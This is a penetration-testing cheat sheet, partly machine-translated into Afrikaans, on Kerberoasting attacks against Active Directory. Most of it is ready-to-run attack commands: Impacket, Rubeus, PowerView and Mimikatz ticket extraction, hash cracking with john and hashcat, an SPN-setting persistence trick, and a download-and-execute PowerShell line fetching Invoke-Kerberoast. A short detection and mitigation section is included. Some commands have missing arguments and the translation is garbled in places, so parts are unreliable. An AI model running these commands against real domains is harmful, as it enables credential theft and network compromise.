Kerberoast

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Kerberoast

Kerberoasting fokus op die verkryging van TGS tickets, spesifiek dié wat verband hou met dienste wat onder gebruikersrekeninge in Active Directory (AD) werk, met uitsluiting van rekeninge van rekenaars. Die kodering van hierdie tickets gebruik sleutels wat afkomstig is van gebruikerswagte, wat die moontlikheid van offline geloofsbrief kraking toelaat. Die gebruik van 'n gebruikersrekening as 'n diens word aangedui deur 'n nie-leë "ServicePrincipalName" eienskap.

Vir die uitvoering van Kerberoasting is 'n domeinrekening wat in staat is om TGS tickets aan te vra, noodsaaklik; egter, hierdie proses vereis nie spesiale voorregte nie, wat dit toeganklik maak vir enigiemand met geldige domein geloofsbriewe.

Sleutelpunte:

• Kerberoasting teiken TGS tickets vir gebruikersrekening dienste binne AD.
• Tickets wat met sleutels van gebruikerswagte gekodeer is, kan offline gekraak word.
• 'n Diens word geïdentifiseer deur 'n ServicePrincipalName wat nie null is nie.
• Geen spesiale voorregte is nodig nie, net geldige domein geloofsbriewe.

Aanval

#### **Linux**

Metasploit raamwerk

msf> gebruik auxiliary/gather/get_user_spns

Impacket

GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/ -outputfile hashes.kerberoast # Wag vir wagwoord GetUserSPNs.py -request -dc-ip <DC_IP> -hashes : / -outputfile hashes.kerberoast

kerberoast: https://github.com/skelsec/kerberoast

kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable gebruikers kerberoast spnroast 'kerberos+password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Multi-features tools including a dump of kerberoastable users:

ADenum: https://github.com/SecuProject/ADenum

adenum -d <DOMAIN.FULL> -ip <DC_IP> -u -p -c

#### Windows

- **Enumerate Kerberoastable users**

Kry Kerberoastable gebruikers

setspn.exe -Q / #Dit is 'n ingeboude binêre. Fokus op gebruikersrekeninge Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats

- **Technique 1: Ask for TGS and dump it from memory**

#Kry TGS in geheue van 'n enkele gebruiker Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Voorbeeld: MSSQLSvc/mgmt.domain.local

#Kry TGS's vir ALLE kerberoastable rekeninge (PC's ingesluit, nie regtig slim nie) setspn.exe -T DOMAIN_NAME.LOCAL -Q / | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#Lys kerberos kaartjies in geheue klist

Trek hulle uit geheue

Invoke-Mimikatz -Command '"kerberos::list /export"' #Eksporteer kaartjies na huidige gids

Transformeer kirbi kaartjie na john

python2.7 kirbi2john.py sqldev.kirbi

Transformeer john na hashcat

sed 's/$krb5tgs$(.):(.)/$krb5tgs$23$*\1*$\2/' crack_file > sqldev_tgs_hashcat

- **Technique 2: Automatic tools**

Powerview: Kry Kerberoast-hash van 'n gebruiker

Request-SPNTicket -SPN "" -Format Hashcat #Gebruik PowerView Ex: MSSQLSvc/mgmt.domain.local

Powerview: Kry alle Kerberoast-hashes

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

Rubeus

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Spesifieke gebruiker .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Kry van admins

Invoke-Kerberoast

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

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When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.

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### Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

### Persistence

If you have **enough permissions** over a user you can **make it kerberoastable**:

Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)

If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:

- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`

### Mitigation

Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:

- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$.Message.split("n")[8] -ne 'krbtgt' -and $_.Message.split("n")[8] -ne '*$' -and $.Message.split("n")[3] -notlike '*$@*' -and $_.Message.split("n")[18] -like '0x0' -and $_.Message.split("`n")[17] -like "0x17"} | select ExpandProperty message

To mitigate the risk of Kerberoasting:

- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.

By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.

## Kerberoast w/o domain account

In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).

The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

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You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

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#### Linux

- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

#### Windows

- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"